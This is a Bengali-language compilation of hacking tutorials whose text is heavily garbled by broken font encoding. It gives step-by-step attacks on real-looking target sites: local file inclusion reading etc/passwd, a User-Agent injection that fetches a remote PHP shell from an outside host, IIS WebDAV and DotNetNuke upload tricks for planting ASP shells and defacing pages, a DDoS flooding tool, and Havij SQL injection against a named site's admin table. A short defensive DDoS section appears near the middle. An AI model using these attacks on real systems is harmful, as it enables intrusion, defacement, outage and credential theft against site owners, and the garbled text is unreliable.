কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ
--------------------------------------------------------------------------------------------------------------------------------------
----------------------
অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ
Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত
পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত
এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন
এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন
রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ
Apache 1x Apache 2x
GoAhead WebServer
---------------------------------------------------------------------------------------------------------------------------------------
---------------------
এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ
পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন
এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন
পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন
httpwwwmediafirecomfamiivi799a9459
পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as
administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ
১ URL ফচছকস সম সকান াআচছটয নাভ সরখন
(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)
২ lock on কতচছরকট করন
৩ সদখচছফন অআকত রক চছয কতগচছযচছছ
৪ কতচতর এয ভত কচছয http কতচছরকট করন
৫Threads ফকস এ 1000 টাআ করন
৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন
৭ ফলাকতডং শর চছয মাচছফ
------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক
ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন
১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন
netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n
মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ
তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad
এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip
মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন
apf -d xxxxxxxx
মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন
csf -d xxxxxxxx
অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন
iptables -I INPUT 1 -s -j DROP xxxxxxxx
উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ
তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না
এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয
এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন
াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ
চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ
পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক
এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
